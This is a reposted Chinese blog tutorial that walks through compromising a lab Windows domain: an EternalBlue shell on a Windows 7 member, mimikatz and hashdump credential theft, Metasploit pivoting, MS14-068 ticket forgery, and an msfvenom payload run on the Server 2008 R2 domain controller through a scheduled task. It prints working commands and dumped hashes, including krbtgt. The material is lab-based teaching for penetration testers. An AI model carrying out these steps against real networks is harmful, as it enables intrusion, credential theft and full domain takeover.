【域渗透篇】渗透域环境下的windows7与2008-r2

news2024/11/26 1:56:00

目录

前言

域环境搭建测试

主机发现&&端口服务扫描&&漏洞脚本扫描

主机发现

全端口扫描

漏洞脚本扫描

永恒之蓝获取shell

主机信息收集

查看当前所在域及当前域用户

找到域控制器

收集域成员的IP

msf后渗透阶段

Hashdump获取本地密码信息

破解hash

mimikatz抓取明文密码

后渗透信息搜集常用模块

靶机路由跳板

查看本地网卡信息

增加网段路由

开启代理

设置 porychanins 代理 nmap 扫描

补充域控管理员的优势

伪装票据尝试提权到域控

漏洞说明 (MS14-068;CVE-2014-6324)

得到本域账户的ssid

制造票据

导入票据

获取域管理成员的shell

生成正向载荷

定时任务执行

收集域控信息


前言

本章介绍在windows域环境下进行渗透测试的技能。

  • 端口扫描
  • 漏洞发现
  • ms17_010永恒之蓝漏洞利用
  • 域环境信息收集
  • 横向移动
  • MS14-068漏洞利用
  • 域成员提权
  • 获取域控shell

        基本环境如下,win7使用两块网卡来模拟内网穿透,在server 2008 搭建域控制器并将win7加入域中。使用kali进行内网横向渗透,获取win7与2008的主机权限 以及域账户最高权限。

 

         win7作为域成员使用域成员账号win7usr 密码1237.com登录,其本地管理员账号为admin 密码123.com,2008-r2 作为域管理员 账号administrator 密码1234.com

域环境搭建测试

1.2008_r2 添加域服务角色,域为baidu.com

添加域成员账号 用户登录名win7user 密码:xxxxx

 2.将win7加入域环境中

3.使用ping 命名 确保主机与主机的网络连接没有问题

测试答疑

加入了域如何登录本地管理员账号

格式:计算机名or域名/用户。

像我的主机名为admin-pc 本地管理员账号为admin ,登录名admin-pc\admin即可登录本地账号,baidu.com\win7user即可登录域账户。

如何区分是本地登录还是域成员登录?请看以下一下三张图

1.加入了域的主机 域成员登录

 2.没有加入域的win7 登录域为本计算机主机名

 3.加入域本地登录

加入域主机发生最大的变化?

域控制器的管理就不说了自行百度。作为渗透者或者说攻击者,最关心的事是445服务不会被拒绝了,作为域控制器可以试用版smb服务访问任意成员主机的c$ d$ (无密码)给域成员设置执行任务,权限之高非常具有诱惑力。所以说拿下了域控制器就相当于拿下了整个内网。

主机发现&&端口服务扫描&&漏洞脚本扫描

主机发现

sudo arp-scan -l

全端口扫描

sudo nmap --min-rate 10000 -p- 20.1.1.2

 注-A参数组合了以下选项:

  1. -sS:使用TCP SYN扫描进行端口扫描,即发送SYN包并等待响应,用于确定端口的开放状态。
  2. -sV:进行服务版本探测,尝试识别目标主机上运行的服务及其版本信息。
  3. -O:进行操作系统探测,尝试识别目标主机所使用的操作系统类型。

漏洞脚本扫描

sudo nmap -p 135,139,445,5357,42902,49152,49153,49154,49155,49156,49157 --script=vuln 20.1.1.2

         发现了 ms-17-010 永恒之蓝漏洞,这是2017发布的非常严重的一个漏洞。该漏洞无需使用任何账户密码 利用主机SMB服务即可获取主机的shell。

永恒之蓝获取shell

启用msfconsole

搜索漏洞利用模块 search ms17_010

进入模块 设置响应参数 payload 用meterpreter的payload

 run

进入shell ;解决乱码问题

>chcp 65001

该漏洞执行获取的是系统权限

主机信息收集

        以下信息收集仅供参考,提供一个信息收集的思路 。考虑到用户及域用户是否以登录问题,实际上收集也不是那么顺利。若有多个已登录用户,切换用户可以尝试迁移用户进程再作特定的信息收集。

查看当前所在域及当前域用户

net config workstation

net view 遍历信任主机
net view /domain 查看域

找到域控制器

1.第一种方法 net time

net time 同步域控制器的时间

可以收集到域控制器所在主机的计算机全名
使用ping 确定2008-r2.baidu.com的ip

 2.第二种 查看dns服务器

一般来说 域和dns 为同一个ip

3.第三种 使用msf的后渗透模块 (后面说...)

收集域成员的IP

挨个ping 计算机的名字

ping 2008-r2

结合arp -a

msf后渗透阶段

Hashdump获取本地密码信息

Hashdump

run windows/gather/smart_hashdump

run windows/gather/smart_dump

破解hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

admin:1000:aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942:::

在线破解平台https://www.cmd5.com/

mimikatz抓取明文密码

加载模块load mimikatz

问题来了!
Msf 提供的mimikatz是一个32位的

 

而目标主机是64为的
故改变策略

准备上传minikatz64位 在目标主机上运行minikatz64
meterpreter下运行:上传upload minikatz.exe
shell下运行:.\minikatz.exe

进入minikatz首先提权:
privilege::debug

开始抓取明文密码
sekurlsa::logonPasswords

这里不仅抓抓到了本地用户admin 的密码 且抓到了域用户的明文密码

其他命令参考

lsadump::lsa /patch

sekurlsa::tspkg

sekurlsa::wdigest

后渗透信息搜集常用模块

1.域 域控主机 ip

run post/windows/gather/enum_domain

 run post/windows/gather/enum_ad_computers

2.获取登录过的用户信息

run post/windows/gather/enum_logged_on_users

靶机路由跳板

查看本地网卡信息

        发现本地有两块网卡,10.1.1.1这个网段是kali访问不到的。利用msf的路由功能使kali能够访问到这个网段

增加网段路由

run autoroute -s 10.1.1.1/24

        这条命令执行后,在msf所有的攻击载荷都可以经20.1.1.2主机转发到10.1.1.0/24这个网段。但在msf外面流量无法转发 ,我们可以使用socket进行代理。让msf转发本地namp的流量。

开启代理

use auxiliary/server/socks4a

设置 porychanins 代理 nmap 扫描

sudo vi /etc/proxychains.conf

proxychains nmap -sT -Pn -A 10.1.1.24

Nmap scan report for 10.1.1.24

Host is up (0.17s latency).

PORT STATE SERVICE VERSION

88/tcp open tcpwrapped

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baidu.com, Site: Default-First-Site-Name)

445/tcp open tcpwrapped Windows Server 2008 R2 Standard 7600 tcpwrapped

464/tcp open tcpwrapped

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baidu.com, Site: Default-First-Site-Name)

3269/tcp open tcpwrapped

5722/tcp open msrpc Microsoft Windows RPC

9389/tcp open mc-nmf .NET Message Framing

47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open tcpwrapped

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

49158/tcp open msrpc Microsoft Windows RPC

49162/tcp open msrpc Microsoft Windows RPC

49166/tcp open msrpc Microsoft Windows RPC

49174/tcp open msrpc Microsoft Windows RPC

Service Info: Host: 2008-R2; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|_clock-skew: -7h59m56s

| smb-os-discovery:

| OS: Windows Server 2008 R2 Standard 7600 (Windows Server 2008 R2 Standard 6.1)

| OS CPE: cpe:/o:microsoft:windows_server_2008::-

| Computer name: 2008-r2

| NetBIOS computer name: 2008-R2\x00

| Domain name: baidu.com

| Forest name: baidu.com

| FQDN: 2008-r2.baidu.com

|_ System time: 2023-07-06T15:51:18+08:00

|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 169.62 seconds

注:proxychains不代理UDP,ICMP,SYN网络协议,无法进行系统探测,主机发现等等,但是可以用-sT参数并结合-Pn进行TCP端口扫描

补充域控管理员的优势

查看域管理员成员
net group "domain admins" /domain

        域管理员可以访问任意与成员的资源, 可以使用at 为域成员添加定时任务,域成员不可访问域控的资源。

伪装票据尝试提权到域控

        在主机信息收集的过程我们发现域控非常有可能使2008-r2 版本,可以尝试使用ms14-068进行横向渗透。

漏洞说明 (MS14-068;CVE-2014-6324)

这个漏洞的利用的大概过程,就是说使用现有的域成员声称自己是管理员,前去申请管理员票据权限,结果申请成功了。

  • 官方说明:Microsoft Security Bulletin MS14-068 - Critical | Microsoft Docs
  • 漏洞利用条件:受该漏洞影响的操作系统,包括Win2003、Wind2008、Win2008 R2、Win2012和 Win2012 R2。利用该漏洞如果攻击者获取了域内任何一台计算机的Shell 权限,同时知道任意域用户名、SID、密码。将允许攻击者将域内任意用户权限提升至域管理级别。
  • 漏洞产生原因:用户在向 Kerberos 密钥分发中心( KDC)申请 TGT (由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos 票据。如果票据声明自己有域管理员权限,而在处理该票据时未验证票据的签名, 那么返给用户的 TGT 就使普通域用户拥有域管理员权限。该用户可以将 TGT 发送到 KDC,KDC的 TGS (票据授权服务)在验证TGT后,将服务票据(Service Ticket)发送给该用户,而该用户拥有访问任何该服务的权限,从而使攻击者可以访问域内的资源
  • 漏洞利用前提

    1.域控没有打MS14-068的补丁(KB3011780)
    2.拿下一台加入域的计算机
    3.有这台域内计算机的域用户密码和Sid
    参考文档
    https://www.cnblogs.com/f-carey/p/16843006.html#tid-zYahi8

得到本域账户的ssid

制造票据

此操作需要访问域控器进行网络信息交互

.\MS14-068.exe -u win7user@baidu.com -s S-1-5-21-3451455147-49433410-551211528-1104 -d 2008-r2 -p1237.com

or

导入票据

mimikatz # kerberos::ptc

 尝试访问域控的主机资源(利用漏洞现在的win7user账户已经是管理员了)

访问成功,意味着提权成功

获取域管理成员的shell

生成正向载荷

msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f exe -o 2008-r2.exe

开启路由
run autoroute -s 10.1.1.1/24

copy 复制到域控

定时任务执行

at \2008-R2 10:03:00 c:/2008-r2.exe

连接域控

use exploit/multi/handler
> set payload windows/meterpreter/bind_tcp (要路由)

收集域控信息

meterpreter > run windows/gather/smart_hashdump

meterpreter > run windows/gather/smart_hashdump

[*] Running module against 2008-R2

[*] Hashes will be saved to the database if one is connected.

[+] Hashes will be saved in loot in JtR password file format to:

[*] /root/.msf4/loot/20230708220919_default_10.1.1.24_windows.hashes_710207.txt

[+] This host is a Domain Controller!

[*] Dumping password hashes...

[-] Failed to dump hashes as SYSTEM, trying to migrate to another process

[*] Migrating to process owned by SYSTEM

[*] Migrating to wininit.exe

[+] Successfully migrated to wininit.exe

[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:a803cf45d87009c404eb89df4b1ae94c

[+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:43544b8808b1b0e98db650b0565a24ab

[+] win7user:1104:aad3b435b51404eeaad3b435b51404ee:526ae3b352eec32faedecfd5376fed8a

[+] 2008-R2$:1000:aad3b435b51404eeaad3b435b51404ee:ecefaa33c322228f3708a824831ab50a

[+] ADMIN-PC$:1103:aad3b435b51404eeaad3b435b51404ee:a4ae89fe0372ddbd31cfc640329298db

解密出域控账号Administrator 密码1234.com

总结

        点点关注呗!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/742972.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

cesium学习文档

文章目录 1. 简易的cesium安装依赖修改 vite.config.js申请token创建简单的cesium 2. 修改查看器3. 修改摄像头4. 设置纽约城市模型5. 划分城市区域并且着色6. 地图标记显示7. 实现无人机巡城 1. 简易的cesium 安装依赖 yarn add -D cesium vite vite-plugin-cesium修改 vite…

Openlayers实战:小物块运动轨迹动画

Openlayers地图在做轨迹的时候,除了标注各个位置点,连线,还经常会用到轨迹动画。 本实战就是这样示例,一个物块在轨迹上移动。其实质是用setInterval,每个一小段时间,重新计算定位一下小物块位置,整体串起来就是在移动。 效果图 源代码 /* * @Author: 大剑师兰特(xia…

TextMining Day3 基于信息抽取的文本挖掘

TextMining Day3 基于信息抽取的文本挖掘 1. 简介2. 背景:文本挖掘与信息提取3. 数据挖掘与信息提取相结合3.1 DISCOTEX系统3.2 评价 4. 使用挖掘规则改进IE4.1 算法4.2 评价 7. 结论 1. 简介 图1:基于IE(信息抽取)的文本挖掘框架概述 本文报告了计算机…

stm32 使用CubeIDE 移植RTX5

STM32 使用st的官方开发环境 cubeide (eclipse gcc)移植 cmsis rtos2 RTX5 实时操作系统 这套环境的主要优势是免费。cubeide免费使用。RTX5 免商业版税(已从原keil中剥离出来,现在完全开源免费)。 一,环…

微软开源社区上线,能够给微软Win95等“上古系统”打补丁

日前一个基于社区的项目“Windows Update Restored”上线,据了解该项目的目的是为老系统重新提供对Windows Update的支持,可为 Windows 95 / NT 4.0/98(包括 SE)/ME/ 2000 SP2 等“上古时期”的微软操作系统提供升级补丁、修复 bug 或安全漏洞。 据悉&a…

Python+Requests+Excel接口测试实战

1、EXCEL文件接口保存方式,如图。 2、然后就是读取EXCEL文件中的数据方法,如下: 1 import xlrd2 3 4 class readExcel(object):5 def __init__(self, path):6 self.path path7 8 property9 def getSheet(self): 10 …

设计模式【创建型】-- 原型模式

原型模式(Prototype) 原型模式是指原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。调用者不需要知道任何创建细节,不调用构造函数 主要应用: 浅拷贝深拷贝 原型模式: 抽象原型类&#xf…

【Redis】—— Redis的AOF持久化机制

💧 【 R e d i s 】—— R e d i s 的 A O F 持久化机制 \color{#FF1493}{【Redis】 —— Redis的AOF持久化机制} 【Redis】——Redis的AOF持久化机制💧 🌷 仰望天空,妳我亦是行人.✨ 🦄 个人主页——微风撞…

如何搭建一个优秀的移动商城?

移动商城是一种新兴的购物方式。随着移动设备的普及和人们对线上购物的需求不断增加,移动商城已经成为了现代电子商务的重要组成部分。 对于想要在这个领域中获得成功的人来说,建立一个优秀的移动商城非常重要。但在搭建移动商城的过程中,有很…

【监控系统】Prometheus架构相关概念及源码部署实战

上篇我们介绍了业界主流监控框架的对比,我们监控系统这块主要是采用Prometheus。 那么,什么是Prometheus 官网:https://prometheus.io/docs/introduction/overview/ Prometheus是一个开源的系统监控和报警系统,现在已经加入到CN…

Android Java代码与JNI交互 JNI方法Java类字段 (六)

🔥 Android Studio 版本 🔥 🔥 Java 基础类型数据对应 jni 中的字母 🔥 通过 jni 查找java某个类中相应字段对应的数据类型 , 需要使用到 jni 中的 GetFieldID() 函数 jfieldID GetFieldID(jclass clazz, const char* name, const char* sig){ return functions-&g…

MySQL 如何处理 慢查询

如何定位慢查询? 方式一: 可以使用开源工具,比如: 调试工具:Arthas运维工具:Prometheus 、Skywalking 方式二: 使用MySQL自带慢日志 慢查询日志记录了所有执行时间超过指定参数(long_qu…

bsub 的用法和意义

bsub -R “rusage [mem40960]” -Is -XF 执行脚本的方法 bsub <run 几条有用的命令 bqueues 查询所有queue的状态 4. 常用命令之bhosts 显示各节点作业相关情况 bhosts hostname 常用命令之bjobs 查看提交作业运行情况; bjobs –r 显示正在运行的作业 bjobs –a 显示正在…

微信小程序,左上脚返回点击直接到首页

我们做小程序时就有很多这种情况&#xff0c;根据不同情况处理方式不同 第一种情况&#xff1a;小程序有多个tab onUnload(event){ //多层级跳转之后&#xff0c;监听左上角返回事件&#xff0c;直接退回到indexuni.switchTab({url:"/pages/index/index"})}, 第二种…

pandas 笔记:高亮内容

1 高亮缺失值 1.0 数据 import pandas as pd import numpy as npdata[{a:1,b:2},{a:3,c:4},{a:10,b:-2,c:5}]df1pd.DataFrame(data) df1 1.1 highlight_null df.style.highlight_null(color: str red,subset: Subset | None None,props: str | None None, ) 1.1.1 默认情…

【Elasticsearch】RestClient操作文档

目录 5.RestClient操作文档 5.1.新增文档 5.1.1.索引库实体类 5.1.2.语法说明 5.1.3.完整代码 5.2.查询文档 5.2.1.语法说明 5.2.2.完整代码 5.3.删除文档 5.4.修改文档 5.4.1.语法说明 5.4.2.完整代码 5.5.批量导入文档 5.5.1.语法说明 5.5.2.完整代码 5.6.小…

java 整合 Elastic 8.

1. 准备工作 使用docker 快速搭建的环境,官网docker-compose 方式搭建的集群 设置了密码登录 elastic elastic 需要给jdk 导入证书 找到 证书对应目录&#xff0c;复制到桌面。主要导入下面2个证书,执行如下命令 keytool -importcert -alias "修改成你的证书名"…

[数字图像处理]第八章 图像压缩

文章目录 第八章 图像压缩引言8.1 基础知识8.1.1 编码冗余8.1.2 空间冗余和时间冗余8.1.3 不相关的信息8.1.4 图像信息的度量山农第一定理 8.1.5 保真度准则8.1.6 图像压缩模型编码或压缩过程解码或解压缩过程 8.2 一些基本的压缩方法8.2.1 霍夫曼编码8.2.2 Golomb编码8.2.3 算…

开启visual studio,git for windows 疯狂占用内存的解决

1、开启visual studio&#xff0c;git for windows 疯狂占用内存的解决 最近开启visual studio写代码的时候&#xff0c;IDE总是会莫名奇妙的卡住然后闪退&#xff0c;今天打开任务管理器看了下原因&#xff0c;发现是visual studio所占磁盘内存不断疯涨&#xff0c;每秒几十M…

基于单片机语音识别智能家居系统的设计与实现

功能介绍 以STM32单片机作为主控系统&#xff1b;液晶显示当前环境温湿度&#xff0c;用电器开关状态通过语音模块识别设定的语音&#xff1b;DHT11进行环境温湿度采集&#xff1b;通过语音播报模块报当前温湿度&#xff0c;智能回复通过语音识别可以打开灯&#xff0c;窗帘&am…